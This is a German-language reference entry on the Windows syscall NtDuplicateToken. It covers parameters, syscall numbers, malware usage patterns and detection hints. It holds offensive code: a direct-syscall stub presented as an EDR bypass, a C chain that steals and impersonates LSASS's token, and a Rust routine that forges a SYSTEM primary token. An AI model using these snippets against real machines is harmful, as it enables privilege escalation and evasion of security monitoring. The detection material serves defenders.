NtDuplicateToken
Erzeugt ein neues Zugriffstoken, das ein vorhandenes Token dupliziert und dabei optional Typ und Impersonations-Level ändert.
Prototyp
NTSTATUS NtDuplicateToken( HANDLE ExistingTokenHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, BOOLEAN EffectiveOnly, TOKEN_TYPE TokenType, PHANDLE NewTokenHandle );
Argumente
| Name | Type | Dir | Description |
|---|---|---|---|
| ExistingTokenHandle | HANDLE | in | Quell-Token; muss mit TOKEN_DUPLICATE (0x2) geöffnet sein. |
| DesiredAccess | ACCESS_MASK | in | Auf das neue Handle angeforderte Rechte (TOKEN_QUERY, TOKEN_IMPERSONATE, TOKEN_ASSIGN_PRIMARY usw.). |
| ObjectAttributes | POBJECT_ATTRIBUTES | in | Objektattribute (SecurityQualityOfService steuert SecurityImpersonationLevel — Identification, Impersonation, Delegation). |
| EffectiveOnly | BOOLEAN | in | Falls TRUE, werden deaktivierte Privilegien/Gruppen aus dem Duplikat entfernt. Im offensiven Einsatz fast immer FALSE. |
| TokenType | TOKEN_TYPE | in | TokenPrimary (1) für CreateProcessAsUser/WithToken oder TokenImpersonation (2) für Thread-Impersonation. |
| NewTokenHandle | PHANDLE | out | Erhält das Handle auf das neu erzeugte Token. |
Syscall-IDs pro Windows-Version
| Windows-Version | Syscall-ID | Build |
|---|---|---|
| Win10 1507 | 0x42 | win10-1507 |
| Win10 1607 | 0x42 | win10-1607 |
| Win10 1703 | 0x42 | win10-1703 |
| Win10 1709 | 0x42 | win10-1709 |
| Win10 1803 | 0x42 | win10-1803 |
| Win10 1809 | 0x42 | win10-1809 |
| Win10 1903 | 0x42 | win10-1903 |
| Win10 1909 | 0x42 | win10-1909 |
| Win10 2004 | 0x42 | win10-2004 |
| Win10 20H2 | 0x42 | win10-20h2 |
| Win10 21H1 | 0x42 | win10-21h1 |
| Win10 21H2 | 0x42 | win10-21h2 |
| Win10 22H2 | 0x42 | win10-22h2 |
| Win11 21H2 | 0x42 | win11-21h2 |
| Win11 22H2 | 0x42 | win11-22h2 |
| Win11 23H2 | 0x42 | win11-23h2 |
| Win11 24H2 | 0x42 | win11-24h2 |
| Server 2016 | 0x42 | winserver-2016 |
| Server 2019 | 0x42 | winserver-2019 |
| Server 2022 | 0x42 | winserver-2022 |
| Server 2025 | 0x42 | winserver-2025 |
Kernel-Modul
Verwandte APIs
Syscall-Stub
4C 8B D1 mov r10, rcx B8 42 00 00 00 mov eax, 0x42 F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Undokumentierte Hinweise
NtDuplicateToken ist der offensive Dreh- und Angelpunkt jeder Token-Diebstahls- und Make-Me-Admin-Kette. Es ist die Funktion, die `advapi32!DuplicateToken` und `DuplicateTokenEx` umhüllen. Der SSN ist von Windows 10 1507 bis Windows 11 24H2 **stabil bei `0x42`**. Die zentralen offensiven Hebel sind `TokenType` (primary vs. impersonation) und das in `ObjectAttributes->SecurityQualityOfService` kodierte `SecurityImpersonationLevel`: Nur `SecurityImpersonation` (Stufe 2) und `SecurityDelegation` (Stufe 3) erlauben dem Thread, *als* die geklonte Identität zu agieren — `SecurityIdentification` erlaubt lediglich, Mitgliedschaft zu *prüfen*. Ein delegierungsfähiges Token zu erzeugen erfordert, dass das Quell-Token delegierbar ist (Kerberos-forwardable-TGT in Domain-Kontexten).
Häufige Malware-Nutzung
Das mittlere Glied praktisch jeder Impersonationskette. Muster A (Token-Diebstahl): NtOpenProcess(LSASS) -> NtOpenProcessTokenEx(TOKEN_DUPLICATE) -> **NtDuplicateToken(SecurityImpersonation, TokenImpersonation)** -> NtSetInformationThread(ThreadImpersonationToken). Muster B (CreateProcessWithToken / Make-Me-Admin): -> **NtDuplicateToken(TokenPrimary, SecurityImpersonation)** -> CreateProcessWithTokenW. Muster C (Potato-Familie): SYSTEM-Impersonations-Token via RPC-Coercion erlangt -> **NtDuplicateToken(TokenPrimary)** -> CreateProcessAsUserW. Verwendet von Mimikatz' `token::elevate`, Cobalt Strikes `make_token`/`steal_token`, Slivers `impersonate`/`runas`, Conti, BlackCat, Royal sowie jeder Potato-Variante (Hot, Juicy, Rogue, Sweet, Print, Roasted).
Erkennungsmöglichkeiten
Für sich allein ist NtDuplicateToken recht häufig, doch `TokenPrimary`-Duplikate aus einem Nicht-LSASS-/Nicht-`services.exe`-Prozess auf ein Token, dessen User-SID vom Aufrufer-SID abweicht, sind hochverdächtig. Windows-Security-Event **4624 mit Logon Type 9** (NewCredentials) feuert bei `CreateProcessWithLogonW` und ist ein starker Impersonations-Indikator. Event **4648** (Logon mit expliziten Credentials) erfasst `CreateProcessWithTokenW`. Der ETW-Provider `Microsoft-Windows-Threat-Intelligence` (nur PPL) emittiert `EtwTiLogDuplicateHandle`-Klassen-Events für Token-Duplikate in überwachten Prozessen. EDRs hooken `ntdll!NtDuplicateToken` nahezu durchgängig; der Direct-Syscall-Bypass ist daher eine der in Red-Team-Blogs dokumentierten EDR-Evasion-Standardtechniken.
Direkte Syscall-Beispiele
asmx64 direct stub (stable SSN 0x42)
NtDuplicateToken PROC
mov r10, rcx
mov eax, 42h ; SSN stable across all builds
syscall
ret
NtDuplicateToken ENDPcFull token-impersonation chain (LSASS -> thread)
// Classic offensive chain: open LSASS token, duplicate as impersonation,
// then impersonate on the current thread. Requires SeDebugPrivilege.
HANDLE hLsass = NULL, hSrc = NULL, hDup = NULL;
OBJECT_ATTRIBUTES oa = { sizeof(oa) };
CLIENT_ID cid = { (HANDLE)(ULONG_PTR)lsassPid, NULL };
SECURITY_QUALITY_OF_SERVICE sqos = {
.Length = sizeof(sqos),
.ImpersonationLevel = SecurityImpersonation, // <-- must be Impersonation or Delegation
.ContextTrackingMode = SECURITY_STATIC_TRACKING,
.EffectiveOnly = FALSE,
};
OBJECT_ATTRIBUTES dupOa = { sizeof(dupOa) };
dupOa.SecurityQualityOfService = &sqos;
NtOpenProcess(&hLsass, PROCESS_QUERY_LIMITED_INFORMATION, &oa, &cid);
NtOpenProcessTokenEx(hLsass, TOKEN_DUPLICATE | TOKEN_QUERY, 0, &hSrc);
NtDuplicateToken(hSrc,
TOKEN_QUERY | TOKEN_IMPERSONATE,
&dupOa,
FALSE,
TokenImpersonation, // <-- not Primary
&hDup);
NtSetInformationThread(NtCurrentThread(),
ThreadImpersonationToken,
&hDup, sizeof(HANDLE));rustPotato-style primary-token forge for CreateProcessWithTokenW
// After an RPC coercion has handed us a SYSTEM impersonation token,
// duplicate it as Primary so we can spawn a SYSTEM-context process.
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::Security::{
SECURITY_QUALITY_OF_SERVICE, SecurityImpersonation,
SECURITY_STATIC_TRACKING,
};
use windows_sys::Wdk::Foundation::OBJECT_ATTRIBUTES;
extern "system" {
fn NtDuplicateToken(
existing: HANDLE, desired: u32,
oa: *mut OBJECT_ATTRIBUTES, effective_only: u8,
token_type: u32, new_token: *mut HANDLE) -> i32;
}
const TOKEN_PRIMARY: u32 = 1;
const TOKEN_ASSIGN_PRIMARY: u32 = 0x1;
const TOKEN_DUPLICATE: u32 = 0x2;
const TOKEN_QUERY: u32 = 0x8;
pub unsafe fn forge_primary_system_token(src: HANDLE) -> Option<HANDLE> {
let mut sqos = SECURITY_QUALITY_OF_SERVICE {
Length: std::mem::size_of::<SECURITY_QUALITY_OF_SERVICE>() as u32,
ImpersonationLevel: SecurityImpersonation,
ContextTrackingMode: SECURITY_STATIC_TRACKING as u8,
EffectiveOnly: 0,
};
let mut oa: OBJECT_ATTRIBUTES = std::mem::zeroed();
oa.Length = std::mem::size_of::<OBJECT_ATTRIBUTES>() as u32;
oa.SecurityQualityOfService = &mut sqos as *mut _ as *mut _;
let mut dup: HANDLE = 0;
let s = NtDuplicateToken(
src,
TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY,
&mut oa, 0, TOKEN_PRIMARY, &mut dup);
if s == 0 { Some(dup) } else { None }
}MITRE ATT&CK-Mappings
Last verified: 2026-05-20